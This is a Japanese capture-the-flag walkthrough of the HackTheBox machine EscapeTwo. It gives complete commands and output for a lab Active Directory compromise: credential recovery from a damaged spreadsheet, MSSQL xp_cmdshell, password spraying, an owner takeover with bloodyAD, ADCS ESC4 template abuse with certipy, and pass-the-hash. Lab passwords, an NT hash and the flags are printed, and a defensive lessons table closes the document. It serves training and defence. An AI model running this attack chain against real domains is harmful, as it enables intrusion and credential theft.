HackTheBox: EscapeTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + MSSQL検出
→
AD DC + MSSQL検出
SMB “Accounting Department”
破損xlsx回収・修復
→
破損xlsx回収・修復
sharedStrings.xml
sa:MSSQLP@ssw0rd! 他
→
sa:MSSQLP@ssw0rd! 他
MSSQL sa xp_cmdshell
sql-Configuration.INI読取
→
sql-Configuration.INI読取
sql_svcパスワード
WinRMスプレー
→
WinRMスプレー
ryan WinRM
user.txt ✓
→
user.txt ✓
BloodHound WriteOwner
ca_svc 所有者奪取
→
ca_svc 所有者奪取
ADCS ESC4
certipy テンプレート改竄
→
certipy テンプレート改竄
Administrator PTH → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & AD検出
BASH
nmap -sV -sC -p 53,88,135,139,389,445,464,636,1433,3268,3269,5985,9389 10.129.232.128
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb) 445/tcp open microsoft-ds 636/tcp open ssl/ldap 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM 3268/tcp open ldap 3269/tcp open ssl/ldap 5985/tcp open wsman Microsoft HTTPAPI httpd 2.0 (WinRM) 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
ℹ️
ポート構成からActive Directoryドメインコントローラー(
sequel.htb、ホスト名DC01)
であることが確定。加えてMSSQL Server 2019とWinRMが稼働しており、
典型的な「アカウント侵害前提(assumed breach)」シナリオ(初期クレデンシャルが与えられる)。
⚠️
本シナリオでは
rose:KxEPkKe6R8su という初期クレデンシャルが与えられている前提で進める
(Assumed Breach方式のHTBマシンでは、最初の資格情報が課題文として提供される)。
/etc/hosts へドメイン登録
BASH
echo "10.129.232.128 sequel.htb dc01.sequel.htb" | sudo tee -a /etc/hosts
PHASE 2
SMB共有調査 & 破損xlsxの修復
rose の認証情報でSMB共有を列挙
BASH
netexec smb 10.129.232.128 -u rose -p 'KxEPkKe6R8su' -d sequel.htb --shares
RESULT
SMB Share Permissions Remark
--- ----- ----------- ------
SMB Accounting Department READ
SMB C$ Default share
SMB NETLOGON READ Logon server share
SMB SYSVOL READ Logon server share
accounts.xlsx を取得
BASH
smbclient //10.129.232.128/"Accounting Department" -U sequel.htb\\rose%KxEPkKe6R8su \ -c "get accounts.xlsx"
RESULT
getting file \accounts.xlsx of size 6780 as accounts.xlsx
マジックバイト破損の確認と修復
BASH
xxd accounts.xlsx | head -1
RESULT
00000000: 50 48 04 03 04 00 00 00 08 00 ...
🚨
正しいZIP/xlsxのマジックバイトは
50 4B 03 04(“PK\x03\x04”)だが、このファイルは
50 48 04 03 に破損(2〜4バイト目が入れ替わっている)しており、通常のExcel/unzipでは
開けない。先頭4バイトだけを修復すればZIP構造自体は正常。
PYTHON
data = bytearray(open("accounts.xlsx", "rb").read())
data[0:4] = bytes.fromhex("504b0304") # 50 4B 03 04 に修復
open("accounts_fixed.xlsx", "wb").write(data)
BASH
# 修復後、Excelで直接開くか zipfile で sharedStrings.xml を直接見ても良い
unzip -p accounts_fixed.xlsx xl/sharedStrings.xml | grep -oE '[A-Za-z0-9!@._-]{6,}'
RESULT
angela@sequel.htb 0fwz7Q4mSpurIt99 oscar@sequel.htb 86LxLBMgEWaKUnBG kevin@sequel.htb Md9Wlq1E5bZnVDVo sa@sequel.htb MSSQLP@ssw0rd!
✅
表計算シートの内容から、複数ユーザーの平文パスワードと、MSSQLの
saアカウントの
パスワード MSSQLP@ssw0rd! を回収できた。
PHASE 3
MSSQL sa → xp_cmdshell → パスワードスプレー → user.txt
sa でMSSQLにログインしxp_cmdshellでINIファイルを読む
BASH
netexec mssql dc01.sequel.htb -u sa -p 'MSSQLP@ssw0rd!' --local-auth \ -x "type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"
RESULT
MSSQL [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!) MSSQL [+] Executed command via mssqlexec ... SQLSVCACCOUNT="SEQUEL\sql_svc" SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSYSADMINACCOUNTS="SEQUEL\Administrator" SAPWD="MSSQLP@ssw0rd!"
ℹ️
--local-auth は「saはWindowsアカウントではなくSQL Server自身のローカル
認証ユーザーである」ことを示す。saはデフォルトでsysadminロールを持つため、
xp_cmdshell(無効時はnxcが自動で一時的に有効化)経由でOSコマンドを実行できる。
インストール時の設定ファイル(sql-Configuration.INI)にサービスアカウントの平文パスワードが
そのまま記録されていた。
ドメインユーザーへパスワードスプレー(WinRM)
BASH
# 既知ユーザー一覧 (SMB/LDAP列挙や課題文から判明) cat users.txt # Administrator / ca_svc / michael / oscar / rose / ryan / sql_svc netexec winrm dc01.sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3' -d sequel.htb --continue-on-success
RESULT
WINRM [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3
WINRM [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3
WINRM [-] sequel.htb\michael:WqSZAF6CysDQbGb3
WINRM [-] sequel.htb\oscar:WqSZAF6CysDQbGb3
WINRM [-] sequel.htb\rose:WqSZAF6CysDQbGb3
WINRM [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
WINRM [-] sequel.htb\sql_svc:WqSZAF6CysDQbGb3
✅
MSSQLサービスアカウント(
sql_svc)のパスワードが、別の対話可能ユーザー
ryan に再利用されており、WinRM(5985)でログイン可能。
user.txt 取得
BASH
netexec winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb \ -x 'type C:\Users\ryan\Desktop\user.txt' # または対話シェル: evil-winrm -i 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'
RESULT
ccc1aed79bca39d97c428a195b5d4b09
user.txt — ryan
ccc1aed79bca39d97c428a195b5d4b09
PHASE 4
BloodHound調査 → WriteOwner で ca_svc を奪取
Kerberosクロックスキュー対策
NOTE
Kerberos認証はKali側とDCの時刻差が大きいと KRB_AP_ERR_SKEW で失敗する。 以後のKerberos関連操作の前に時刻同期しておく。
BASH
sudo ntpdate -u 10.129.232.128
BloodHound収集 & ryan の権限確認
BASH
bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.129.232.128 -c All --zip
NOTE
BloodHoundのGUIでインポートし ryan を起点に Outbound Object Control を確認すると、
ryan は CA サービスアカウント ca_svc に対して WriteOwner 権限を持つことが分かる。
(所有者を自分に変更→GenericAllを自分に付与→パスワードを自由に変更、という昇格チェーンが成立する)
bloodyAD で所有者変更・権限付与・パスワードリセット
BASH
bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' \ set owner ca_svc ryan bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' \ add genericAll ca_svc ryan bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' \ set password ca_svc 'Password123!!'
RESULT
[+] Old owner S-1-5-21-...-512 is now replaced by ryan on ca_svc
[+] ryan has now GenericAll on ca_svc
[+] Password changed successfully!
✅
ca_svc:Password123!! として認証可能になった。このca_svcは
Cert Publishers グループに所属しており、証明書テンプレートへの操作権限に
つながる(次フェーズ)。
PHASE 5
ADCS ESC4 — 証明書テンプレート改竄
脆弱な証明書テンプレートの確認
BASH
certipy-ad find -u ca_svc@sequel.htb -p 'Password123!!' -dc-ip 10.129.232.128 -vulnerable
RESULT
Certificate Templates
0
Template Name : DunderMifflinAuthentication
...
[!] Vulnerabilities
ESC4 : 'SEQUEL.HTB\\ca_svc' has dangerous permissions
🚨
ESC4:
ca_svc はテンプレート DunderMifflinAuthentication
の設定自体を書き換えられる権限を持つ。テンプレートを「ESC1相当(任意UPN指定可・クライアント認証可)」
に書き換えれば、任意ユーザー(Administrator含む)になりすませる証明書を発行できる。
テンプレートをESC1相当に書き換える
BASH
certipy-ad template -u ca_svc@sequel.htb -p 'Password123!!' \ -template DunderMifflinAuthentication \ -write-default-configuration -force -dc-ip 10.129.232.128
RESULT
[*] Saving current configuration to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2'] (クライアント認証)
[*] Successfully updated 'DunderMifflinAuthentication'
⚠️
certipy-ad v5系の注意点: 旧バージョンの記事によくある
-save-oldフラグは v5.0.4 では無効化されており、接続情報を表示するだけで
テンプレートを一切変更せずに終了する(エラーも出ないため気づきにくい)。
v5系では必ず -write-default-configuration -force を明示する必要がある
(certipy template -h でサブコマンドのオプションを確認すると気づける)。
Administrator として証明書を要求
BASH
certipy-ad req -u ca_svc@sequel.htb -p 'Password123!!' \ -ca sequel-DC01-CA -template DunderMifflinAuthentication \ -upn administrator@sequel.htb -dc-ip 10.129.232.128
RESULT
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Saving certificate and private key to 'administrator.pfx'
ℹ️
自分(ca_svc)の権限で発行依頼する証明書に、任意のUPN(
administrator@sequel.htb)を
指定できてしまう。これが書き換え後のテンプレート設定(“Enrollee supplies subject”的な設定)の
悪用点。
証明書でKerberos認証し Administrator の NTハッシュを回収
BASH
certipy-ad auth -pfx administrator.pfx -no-save -domain sequel.htb -dc-ip 10.129.232.128
RESULT
[*] Using principal: 'administrator@sequel.htb'
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
✅
PKINITを使い証明書からTGTを取得し、さらにU2U(User-to-User)でAdministratorの
NTハッシュを取り出せた。以降はPass-the-Hashでそのまま使える。
PHASE 6
Pass-the-Hash で Administrator → root.txt
NTハッシュでWinRMログイン
BASH
netexec winrm dc01.sequel.htb -u Administrator \ -H 7a8d4e04986afa8ed4060f75e5a0b3ff -d sequel.htb \ -x 'type C:\Users\Administrator\Desktop\root.txt' # または対話シェル: evil-winrm -i 10.129.232.128 -u Administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
RESULT
[+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!) [+] Executed command (shell type: cmd) 1bc83aa50af848747f9a04d87dde2aae
root.txt — Administrator@sequel.htb
1bc83aa50af848747f9a04d87dde2aae
⚠️
フラグ抽出時の注意点: Pass-the-Hash(
-H)でnetexec/nxcを使うと、
認証成功バナー行に sequel.htb\Administrator:7a8d4e...(Pwn3d!) のように
認証用NTハッシュ自体が32桁hexとして出力される。これが実際のコマンド出力
(本物のフラグ)より前に出現するため、「最初に見つかった32桁hexを採用する」ような単純な
抽出ロジックだとNTハッシュ自体をフラグとして誤って保存してしまう。
抽出時は既知のハッシュ文字列を事前に除去してから32桁hexを探す、または出力の最後の方を
優先するなどの対策が必要。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ryan
ccc1aed79bca39d97c428a195b5d4b09
root.txt — Administrator@sequel.htb
1bc83aa50af848747f9a04d87dde2aae
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 認証情報入りスプレッドシートの平文保存 | SMB “Accounting Department” 共有 | 複数ユーザー・MSSQL sa の平文パスワード漏洩 | Medium | マジックバイトが破損したxlsxを先頭4byte修復して復元し、sharedStrings.xmlから抽出 |
| MSSQL sa + xp_cmdshell | MSSQL Server 2019 (1433) | OSコマンド実行(SQL Serverサービスアカウント権限) | High | sysadminロールを持つsaでログインし、インストール設定ファイル(平文PW入り)をtypeで読む |
| パスワード再利用 | sql_svc → ryan | 横移動(WinRM) | Medium | サービスアカウントのパスワードが対話ユーザーに再利用されていた |
| ADCS ESC4(証明書テンプレート書換権限の誤設定) | 証明書テンプレート DunderMifflinAuthentication | 任意ユーザー(Administrator含む)へのなりすまし | Critical | WriteOwnerでCA関連アカウント(ca_svc)を乗っ取り、テンプレートをESC1相当に書換→任意UPNで証明書発行→NTLM回収 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap バージョンスキャン | AD DC(sequel.htb)+MSSQL+WinRM検出 |
| 2 | 認証情報回収 | SMB共有の破損xlsx修復 | sa:MSSQLP@ssw0rd! 他複数アカウント |
| 3 | RCE & 横移動 | MSSQL xp_cmdshell → INI読取 → WinRMスプレー | user.txt(ryan) |
| 4 | 権限棚卸し | BloodHound + bloodyAD WriteOwner | ca_svc:Password123!! 奪取 |
| 5 | ADCS攻撃 | certipy template/req/auth (ESC4) | Administrator NTハッシュ |
| 6 | 権限昇格 | Pass-the-Hash (WinRM) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 社内共有フォルダに認証情報入りの業務スプレッドシートを平文で保管 | 秘密情報をファイルに平文保存しない。パスワード管理ツール(Vault等)を利用し、共有フォルダのアクセス権を最小化する。 |
MSSQL sa アカウントが有効かつ推測可能なパスワード、xp_cmdshellを有効化できる構成 |
saを無効化しWindows統合認証のみ許可する。xp_cmdshellを完全に無効化しポリシーで再有効化を禁止する。インストーラのログ/設定ファイルから平文パスワードを削除する。 |
| サービスアカウントのパスワードを対話ユーザーアカウントで再利用 | サービスアカウントには長く複雑な一意のパスワード(gMSA等のマネージドアカウント)を使い、人間が使うアカウントとは完全に分離する。 |
| ADCS証明書テンプレートに対する過剰な書込み権限(ESC4)付与 | 証明書テンプレートの変更権限はPKI管理者グループのみに限定し、BloodHoundやcertipy findで定期的にESC1〜ESC16系の誤設定を監査する。 |

